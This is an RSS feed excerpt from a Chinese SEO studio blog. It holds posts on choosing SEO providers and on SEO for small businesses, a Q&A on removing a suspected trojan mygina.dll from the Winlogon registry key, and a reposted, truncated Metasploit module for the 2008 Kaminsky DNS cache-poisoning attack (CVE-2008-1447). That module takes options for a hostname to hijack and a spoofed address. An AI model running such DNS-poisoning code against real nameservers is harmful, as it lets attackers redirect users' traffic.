查看google左侧排名服务商自己的网站，以及网站优化合同，一个连自己网站还没有一定排名的公司是不可信的。您可以要求google左侧排名服务商在他所提供的网站上加上由他们公司的信息来证明自己，我想这样就基本上没问题了。对那些没有太多成功案例的google左侧排名服务商您得小心了，也许您的网站就是他们低价拿过来当作实验品!<br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.0535seo.com.cn/article/277.htm</link>
			<title><![CDATA[SEO搜索引擎优化提升中小企业竞争力 ]]></title>
			<author>77uc@sina.com(admin)</author>
			<category><![CDATA[烟台SEO]]></category>
			<pubDate>Tue,19 Aug 2008 18:14:37 +0800</pubDate>
			<guid>http://www.0535seo.com.cn/default.asp?id=277</guid>
		<description><![CDATA[&nbsp;&nbsp;很多中小企业认为能输入公司的名称能找到就达到他们的目标了，他们不知道一个优势的网站会相当于公司聘请几个不错的业务员。有更多的作用可以发挥。我们工作室已经有一年多不用主动去发展客户，所有的客户通过网络得知我们的服务并与我们取得联系，80%以上的订单通过网站自动获得。<br/><br/>为什么很少有人访问我们企业的网站，这个问题普遍存在于广大的中小企业。<br/><br/>一、中小企业网站规模不大。同时不像很多大公司那样有专业的网站维护人员。网站流量大部分来自于广告流量。<br/><br/>二、企业主一般是将一大堆的资料交给网络公司，然后对前台的细节作很多的要求，因不懂得网络营销，所以过分的注重网站页面设计。而网站制作公司大部分是不会在制作费用内为企业考虑网站优化问题的。因为网站优化是一个较长时间才能完成的过程，企业没有相应的费用，很多制作公司更不会是告诉企业有这么回事，因为如果这样会招来更大的麻烦。<br/><br/>三、大部分企业不了解SEO网站优化的作用及意义。有的基本的网站维护都不懂，网站制作出来后。长达一年以上没有更新任何资料的企业到处都是。而这些是非常影响网站排名及流量的因素，网站可能经营几年了，还没有几个词能找到。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 目前多数企业网站建设之后就不再管它，以为网站会为之带来客户，带来生意，但事实上这种认识是错误的。80%以上的网页制作人员都不懂网络营销，不懂搜索引擎优化，所以他们设计出来的网站都存着各种问题。网站制作精美，创意巧妙，如果不推广，也不能为企业带来任何效益。所以网站建设后我们首要的工作就是推广网站，让潜在的客户知道和了解我们的企业网站，这样才能达到宣传企业，推广产品，拓展网上业务，进行网络营销，最终利用企业网站达到盈利的目的。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SEO搜索引擎优化是一项非常重要的基础性网站推广工作。它的原理是将网站按照搜索引擎自动收录的规则，将网站进行技术等相关处理，以便于网站能够快速有效的被搜索引擎收录。有统计表明，大多数网站的访问量有70%是通过搜索引擎得来的，故您的网站在搜索引擎上“表现”如何，直接影响到了网站被大家接受的程度。纵观国内中小型企业网站，大多数都没有做好搜索引擎优化工作。有的企业愿意花费各种有偿的推广手段去推广网站，却往往在搜索引擎中表现欠佳，推广效果不理想，这里有一个很重要的原因就是忽略了网站本身的搜索引擎优化工作。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; 企赢营销，为企业提供一站式网络营销顾问服务，帮助企业赢得更广阔市场。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; 搜索引擎优化既是一项技术性较强的工作，也是一项同企业特点息息相关，需要经常分析和寻求外部合作的工作。实践证明，搜索引擎优化工作不仅能让网站在搜索引擎上有良好的表现，而且能让整个网站看上去轻松明快，页面高效简洁，目标客户能够直奔主题，网站发挥出了沟通企业与客户的最佳效果。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; 现在越来越多的企业已认识到了网站推广的重要性，但是更有很多的企业主还对网站推广半信半疑，但是事实摆在眼前，网站不推广是绝对不会赚钱的，网站是给潜在客户看的，不是自己企业看的。因此，网站做好以后必须要推广。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; 网站推广的方法很多，不但仅是简单的雇佣两个人去其他网站和论坛发信息，也不是简单的收集一些邮件地址发发垃圾邮件，根据不同性质的网站使用不同的推广方法，另外搜索引擎优化永远是性价比最高的推广方式。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; 中小企业的老板针对网站开展网络营销的时候很喜欢按照自己的意愿来进行，当然假如企业主是这个领域的专家的话那就是另一回事了，关键是一些企业主不懂或稍微懂点网络知识，就一意孤行的按照自己的意愿来做，最终得不尝失。<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.0535seo.com.cn/article/276.htm</link>
			<title><![CDATA[不能更改用户登陆或注销是方式MyGina.dll ]]></title>
			<author>77uc@sina.com(admin)</author>
			<category><![CDATA[程序软件]]></category>
			<pubDate>Fri,01 Aug 2008 14:58:54 +0800</pubDate>
			<guid>http://www.0535seo.com.cn/default.asp?id=276</guid>
		<description><![CDATA[我想:更改用户登陆或注销是方式. 但却弹出: <br/>[一个最近安装的程序已经停用欢迎屏幕和快速用户切换。您必须卸载该程序以恢复这些功能。下列文件名可以帮助您识别该程序所作的修改：mygina.dll ] <br/><br/>要怎么操作？ 我看了好多解决方法 但还是没办法修改... <br/>问题补充：本地连接不存在NetWare <br/> <br/> <br/>答：&nbsp;&nbsp;<br/>1，重新启动电脑进入安全模式（不是带网络连接的安全模式）。 <br/><br/>2，打开注册表，在注册表的,.....MACHINE\SOFTWARE\Micosoft\windows NT\Current version\winlogon\下,将GinaDll的值&#34;mygina.dll&#34;删除掉就行了。<br/><br/>3，重新启动,OK! <br/>（这个mygina.dll可能是一个木马文件）<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.0535seo.com.cn/article/275.htm</link>
			<title><![CDATA[什么也不说了！能看懂最好，看不懂没办法！]]></title>
			<author>77uc@sina.com(admin)</author>
			<category><![CDATA[程序软件]]></category>
			<pubDate>Wed,30 Jul 2008 09:51:13 +0800</pubDate>
			<guid>http://www.0535seo.com.cn/default.asp?id=275</guid>
		<description><![CDATA[1 require &#39;msf/core&#39; <br/>2 require &#39;net/dns&#39; <br/>3 require &#39;scruby&#39; <br/>4 require &#39;resolv&#39; <br/>5&nbsp;&nbsp;<br/>6 module Msf <br/>7&nbsp;&nbsp;<br/>8 class Auxiliary::Spoof::Dns::BaliWickedHost &lt; Msf::Auxiliary <br/>9&nbsp;&nbsp;<br/>10&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; include Exploit::Remote::Ip <br/>11&nbsp;&nbsp;<br/>12&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; def initialize(info = {}) <br/>13&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; super(up&#100;ate_info(info,&nbsp;&nbsp;<br/>14&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#39;Name&#39;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =&gt; &#39;DNS BaliWicked Attack&#39;, <br/>15&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#39;Description&#39;&nbsp;&nbsp;&nbsp;&nbsp;=&gt; %q{ <br/>16&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; This exploit attacks a fairly ubiquitous flaw in DNS implementations which&nbsp;&nbsp;<br/>17&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dan Kaminsky found and disclosed ~Jul 2008.&nbsp;&nbsp;This exploit caches a single <br/>18&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; malicious host entry into the target nameserver by sending random sub-domain <br/>19&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; queries to the target DNS server coupled with spoofed replies to those <br/>20&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; queries from the authoritative nameservers for the domain which contain a <br/>21&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; malicious host entry for the hostname to be poisoned in the authority and <br/>22&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; additional records sections.&nbsp;&nbsp;Eventually, a guessed ID will match and the <br/>23&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; spoofed packet will get accepted, and due to the additional hostname entry <br/>24&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; being within baliwick constraints of the o&#114;iginal request the malicious host <br/>25&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; entry will get cached. <br/>26&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }, <br/>27&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#39;Author&#39;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =&gt; [ &#39;I)ruid&#39;, &#39;hdm&#39; ], <br/>28&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#39;License&#39;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt; MSF_LICENSE, <br/>29&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#39;Version&#39;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt; &#39;$Revision$&#39;, <br/>30&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#39;References&#39;&nbsp;&nbsp;&nbsp;&nbsp; =&gt; <br/>31&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [ <br/>32&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [ &#39;CVE&#39;, &#39;2008-1447&#39; ], <br/>33&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [ &#39;US-CERT-VU&#39;, &#39;8000113&#39; ], <br/>34&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [ &#39;URL&#39;, &#39;<a href="http://www.caughq.org/exploits/CAU-EX-2008-0002.html" target="_blank" rel="external">http://www.caughq.org/exploits/CAU-EX-2008-0002.html</a>&#39; ], <br/>35&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ], <br/>36&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#39;Privileged&#39;&nbsp;&nbsp;&nbsp;&nbsp; =&gt; true, <br/>37&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#39;Targets&#39;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;&nbsp;&nbsp;<br/>38&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [ <br/>39&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [&#34;BIND&#34;,&nbsp;&nbsp; <br/>40&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; { <br/>41&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#39;Arch&#39; =&gt; ARCH_X86, <br/>42&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#39;Platform&#39; =&gt; &#39;linux&#39;, <br/>43&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }, <br/>44&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ], <br/>45&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ], <br/>46&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#39;DisclosureDate&#39; =&gt; &#39;Jul 21 2008&#39; <br/>47&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; )) <br/>48&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>49&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; register_options( <br/>50&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [ <br/>51&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; OptPort.new(&#39;SRCPORT&#39;, [true, &#34;The target server&#39;s source query port (0 for automatic)&#34;, nil]), <br/>52&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; OptString.new(&#39;HOSTNAME&#39;, [true, &#39;Hostname to hijack&#39;, &#39;pwned.doxpara.com&#39;]), <br/>53&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; OptAddress.new(&#39;NEWADDR&#39;, [true, &#39;New address for hostname&#39;, &#39;1.3.3.7&#39;]), <br/>54&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; OptAddress.new(&#39;RECONS&#39;, [true, &#39;Nameserver used for reconnaissance&#39;, &#39;208.67.222.222&#39;]), <br/>55&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; OptInt.new(&#39;XIDS&#39;, [true, &#39;Number of XIDs to try for each query&#39;, 10]), <br/>56&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; OptInt.new(&#39;TTL&#39;, [true, &#39;TTL for the malicious host entry&#39;, 31337]), <br/>57&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ], self.class) <br/>58&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>59&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end <br/>60&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>61&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; def auxiliary_commands <br/>62&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return { &#34;check&#34; =&gt; &#34;Determine if the specified DNS server (RHOST) is vulnerable&#34; } <br/>63&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end <br/>64&nbsp;&nbsp;<br/>65&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; def cmd_check(*args) <br/>66&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; targ = args[0] || rhost() <br/>67&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(not (targ and targ.length &gt; 0)) <br/>68&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print_status(&#34;usage: check [dns-server]&#34;) 